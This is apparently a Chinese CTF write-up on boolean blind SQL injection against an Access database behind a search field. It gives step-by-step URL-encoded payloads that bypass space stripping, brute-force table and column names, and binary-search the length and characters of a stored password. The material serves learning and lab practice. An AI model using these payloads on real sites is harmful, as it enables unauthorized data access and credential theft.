access数据库渐渐的被很多人遗忘。
而大部分安全人员也对access数据库也不感冒。
最近在西晋学院玩了玩它的web题目,没想到在西晋上面看到不少的asp的题。其中不乏有数据库注入的。
access数据库并不像mysql那样方便,可以拥有information_schema这个包含数据各种数据库,表以及字段信息的“新华字典”。
虽然有一个msysobjects,但是大多情况下即使管理员也没办法读取其里的信息,因为读取它需要设置权限。
下面从西晋学院里面的access盲注来说一下。
1、前提准备
一个Firefox火狐浏览器
TamperData--拦截每一个我们发出的web请求
2、分析请求
我们先看一下正常请求返回的内容
一、我们选择我们的TamperData插件,
二、开启tamper,准备拦截请求。在输入框输入我们的测试值
Eg:(1)输入“1”
发现返回页面没有内容
(2)输入“'”
发现出现数据库报错。根据报错信息,可以知道数据库使用jet database引擎。而access正是使用这种的引擎,我们基本可以确定后端数据库是access。同时可以猜测我们的这里是搜索型注入,我们输入的数据被两个%%包住。
猜测后端数据库的查询语句为:
'select 标题,内容,时间 from news where 标题 like %(输入)%'
三、确定注入类型
(1)首先由单引号报错我们可以确定,这里是字符串引起的数据库注入
(2)准备验证数据:
Eg:(1)输入“' and '%'='”
这里解释一下,因为这里的注入是搜索注入。注入点在"%input%"的input处,所以当我们利用单引号闭合之前的语句时,需要平衡单引号的数目。上面的验证数据在数据库的查询中变成
select 标题,内容,时间 from news where 标题 like '%' and '%'='%'
注意一下,红色部分使我们的验证数据,可以看到我们通过字符串相等来平衡单引号数据。后面的逻辑部分“'%'='%'”为真,也就是对于前面的查询不造成影响。我们来看看返回的内容。
(3)分析与思考
可以看到这里完全没有效果,但是按照数据库查询,'%'表示匹配所有内容,也就是我们应该可以看到和原来一致的页面。但是这里没有出来。
那么是不是我们的验证数据被后台处理了?导致我们的数据没有起到真实的作用。
这个时候我们应该利用报错的来帮助我们确定后台数据库所做的处理。
我们把最后面的单引号去掉,这时候发生了错误。我们来分析一下返回的错误信息,可以看到我们的payload原本是有空格,但是在数据库查询中却没有,也就是后台会将输入去除空格。
那我们修正我们的输入,我们将我们的内容空格进行url编码,就是'%20'。这个时候我们,我再看看返回什么样的信息。
Eg: '%20and%20'%'=
可以看到此时返回的报错信息中,已经存在了空格了,也就是我们的修正成功。我们补回去掉的单引号。
再次测试,Eg:'%20and%20'%'='
页面倒是正常了,可是没有数据呀。这时,我们又的修正我们的测试数据了。有些同学想测试'&&',这个和and关键字有着一样功能的运算符。但是注意一下在access中&为字符串连接符,这和其他数据库不一致。
我们这时候稍微翻转一下思维就可以相处,要是and不行,那么or呢?
Eg:'%20or%20'%'='
结果说明一切,可以看到页面返回的内容和原来的一样的。这时候我们再看回sql语句现在的表示。
select 标题,内容,时间 from news where 标题 like '%' or '%'='%'
这是,or '%'='%'恒真,也就是会检索出所有内容来。
这时候我们该怎样进行下一步呢?
四、开始干大事了
说在前面:
很多人在这里会疑惑了,一个这样注入点该怎样利用。一般来说,这里只能执行逻辑判断,也就是这里的注入是布尔类型的注入。我们要注入的内容在'%'和or之间,并且用and运算符。
一个测试便是:
select 标题,内容,时间 from news where 标题 like '%' and 1=1 or '%'='%'
(1)对于access数据来说,如果不能利用msysobjects的话,我们只能暴力破解表名、字段名了,而这个往往需要一个表名字典、字段名字典。
以前很常用的明小子、DSQL等工具在进行access数据注入的时候,也是通过字典来爆破表名和字段名。
用到的payload如下
'%20and%20exists(select%20*%20from%20[表名])%20or%20'%'='
我们通过不断变化表名,只要表名是常见的并且在我们的字典中,我们就可以破解出表名和字段名。
如图,因为这里是ctf,所以猜测表名admin、ctf、keys、flag、flags、pass、manager。最终只有manager生效。
admin表不存在
manager表存在
其实这个表名并非博主猜的,是使用sqlmap的字典爆出来的。但是字段名却是博主自己猜出来的。虽然sqlmap字典也有,~~~~(>_<)~~~~
但是sqlmap在爆破出表名之后不给力了,因为它布尔盲注用的是and而不是or,所以之后无法猜测是表名的字段数,然后就不工作了。
猜测字段名很简单,将上面的*换成字段名即可。
'%20and%20exists(select%20[字段名]%20from%20[表名])%20or%20'%'='
这里猜,当然是猜通关的钥匙,flag、flags、password、passwords、keys、key、pass。最后猜出来是pass,有没有内流满面的结果。
(2)之后就是重头戏了,我们已经把表名和字段名才出了,我们先看看有多少个数据以及数据的长度。
数据的行数比2小或者等于2
数据的行数比1小或者等于1
可以看到数据的行数为一
'%20and%20(select%20count(*)%20from%20manager)>2%20or%20'%'='
可以看到这里只有一行数据。然后我们使用len()函数测试该数据的长度
'%20and%20(select%20len(pass)%20from%20manager)>10%20or%20'%'='
可以看到,返回正常页面。说明数据长度大于10.
'%20and%20(select%20len(pass)%20from%20manager)>20%20or%20'%'='
返回空白的页面,数据长度小于20
'%20and%20(select%20len(pass)%20from%20manager)>15%20or%20'%'='
返回空白的页面,数据长度小于15
'%20and%20(select%20len(pass)%20from%20manager)>13%20or%20'%'='
返回空白页面,数据长度小于13
'%20and%20(select%20len(pass)%20from%20manager)>11%20or%20'%'='
返回正常页面,数据长度大于11
'%20and%20(select%20len(pass)%20from%20manager)>12%20or%20'%'='
返回页面空白,数据长度小于或等于12,根据上一次测试,知道长度等于12
(3)
往后,我们需要用到个函数,一个
mid(string,start,length)这个用来截取字符串的,
|string是要截取的字符串 |
|start是截取的字符串开始索引|
|length是要截取的字符串长度 |
asc(char)这个用来讲一个字符转换为对应的ascii数值
|char为需要转换的字符
我们这里需要修正payload来将pass盲注出来,a的ascii数值为97,先判断是否为小写的ascii的值
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>97%20or%20'%'='
可以看到这里返回的页面并没有内容,也就说第一个字符对应的ascii值小于97。这里我们修改为57,判断是否为数字
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>57%20or%20'%'='
可以看到返回正常页面,也就是第一个字母不是数字。剩下我们测试大写的字母,范围65~90。采用而二分法,修改为78=(65+90/2)
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>78%20or%20'%'='
返回正常页面,说明比78大。修改为(78+90)/2=84
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>84%20or%20'%'='
返回空页面,说明比84小,现在范围限制在[78,84]之间,取81
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>81%20or%20'%'='
返回正常页面,说明比81大,取82作为测试数值。
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>82%20or%20'%'='
返回正常页面,说明比82大,取83作为测试数值
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>83%20or%20'%'='
返回页面正常,说明比84大,测试是否等于84
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))=84%20or%20'%'='
查表可以知道,第一个字符为“T”
(4)后续的内容,我们只需要修改mid的第二个参数为2,即可盲注第二个字符。更多的内容可以参考,我之前的帖子,关于使用python盲注mysql的,核心的还是二分法。
链接:ClickMe